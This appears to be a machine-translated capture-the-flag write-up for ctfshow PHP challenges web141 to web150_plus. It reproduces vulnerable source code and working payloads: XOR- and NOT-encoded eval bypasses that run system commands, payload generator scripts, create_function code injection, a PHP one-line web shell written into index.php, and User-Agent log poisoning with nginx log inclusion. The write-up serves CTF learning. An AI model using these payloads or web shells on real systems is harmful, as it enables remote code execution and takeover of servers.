f1 and f2 are [a-z0-9], intval gets the integer value of the variable
Weak comparison table
Note that the integer 0 returns 0 when compared with the "php" string, so construct 0
f1=sha1&f2=sha1
web141
#error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
The regular content is
Use alphanumeric webshell here. You can fill in v1 and v2 casually
dotast:then v1 and v2 Just fill it in at will, v3 Constructed by filling payload Yes, but note that there is a return Interference, so we have to v3 of payload The command can be executed by adding some characters to the front and back, such as\+ - * wait
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
See flag PHP, and then construct flag PHP. Here you can see the blog: https://blog.csdn.net/miuzzx/article/details/109143413 (Master Yu blog)
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
web142
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
Just wait for 5.1879761014816e+14 seconds
?v1=0
Then view the source code
web143
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
web141 plus
If you don't allow it to be taken, you have to pay attention to filtering semicolons. You still use the method of 141, but the special characters filtered here should also be written into the script
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
flag.php index.php
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*
Script (dotast):
# -- coding:UTF-8 -- # Author:dota_st # Date:2021/2/10 12:56 # blog: www.wlhhlc.top import requests import urllib import re # Generate available characters def write_rce(): result = '' preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;' for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i ^ j if k >= 32 and k <= 126: a = '%' + hex(i)[2:].zfill(2) b = '%' + hex(j)[2:].zfill(2) result += (chr(k) + ' ' + a + ' ' + b + '\n') f = open('xor_rce.txt', 'w') f.write(result) # Match in the generated txt according to the entered command def action(arg): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output) def main(): write_rce() while True: s1 = input("\n[+] your function: ") if s1 == "exit": break s2 = input("[+] your command: ") param = action(s1) + action(s2) print("\n[*] result:\n" + param) main()
web144
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }
web143 plus === web141 proplus
This time I changed to v2 and used web141's payload
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
web145
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
web144 plus === web143 proplus === web141 proplusmax
Filter more, and you can't use ^, but it can be reversed
But *; +- It's all lost by ban. It was said that there should be these before and after v3
After fuzz y, I found that | can also be used https://blog.csdn.net/miuzzx/article/details/109143413
<?php //Run from the command line /*author yu22x*/ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
Final payload
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
web146
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
ProMaxpluspro
Still no filtering ~, continue to use the payload of the previous question
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
web147
highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }
RCE
Watch hint here
The default namespace in php is \, and all native functions and classes are in this namespace. Normally call a function. If you write the function name function directly_ Name() is called, which is actually equivalent to writing a relative path; And if you write \ function_ When name() calls the function in this way, it actually writes an absolute path. If you call system classes in other namespaces, you must write absolute paths
Use create here_ Function() for code injection
string create_function ( string $args , string $code )
string $args Variable part
Code part of string $code method
#give an example create_function('$funcname','echo $funcname."Mumuzi"') #Equivalent to the following function function f($funcname) { echo $funcname."Mumuzi"; } /* #If the second parameter (code) is like this: echo 1;}phpinfo();/* #Then it is expressed by function as follows: */ function f($funcname){ echo 1; } phpinfo();/*} #That is, after echo 1 is executed, execute phpinfo(), and then comment out the following statements with / *
Therefore, payload is constructed
GET:?show=echo mumuzi;}system("tac f*");/* POST:ctf=\create_function
web148
#What are variables? include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); } function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }
XOR. The script uses the previous (web141plus) and can be changed to preg
web149
error_reporting(0); highlight_file(__FILE__); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($_GET['ctf'], $_POST['show']); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
Not index PHP will be deleted
Then write a sentence into the index PHP will do
GET:?ctf=index.php POST:show=<?php @eval($_GET[1]);?>
Then visit index PHP, GET 1=system('tac /ctfshow_fl0g_here.txt ');
web150
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #Filter character $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
The log contains a sentence written by UA. QUERY_STRING and extract make isvip 1 (web127)
import requests url = "http://888cbe1b-d96b-4304-9502-4ba090d23aee.challenge.ctf.show/" + "?isVIP=1" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0<?php @eval($_POST[1]);?>' } data = { 'ctf': '/var/log/nginx/access.log', '1':'system("tac f*");' } r = requests.post(url=url, headers=headers, data=data).text print(r)
web150_plus
The title says that the unexpected is fixed, and then it can be clearly seen that there can be no log in the ctf. It just fixes the log inclusion
This is associated with competition (included in the session file), but now ctfshow has set restrictions, so it is difficult to compete successfully.
Take a look at hint
This question is a little pit__ The autoload() function is not in the class__ Autoload - attempt to load an undefined class and finally construct CTFSHOW..=phpinfo can see the phpinfo information. The reason is CTFSHOW.. Analytical variable into__ CTFSHOW__ Then the variable is overridden, because ctfshow is a class__ Autoload () function and method to load, because if it is equal to phpinfo, it will load phpinfo, and then go to getshell
Here__ autoload() can see https://www.php.cn/php-weizijiaocheng-426838.html
Then... CTFSHOW... Takes advantage of php's features, that is, spaces, [,., + are automatically converted to_
So payload
?..CTFSHOW..=phpinfo
Then search ctfshow{because the environment is written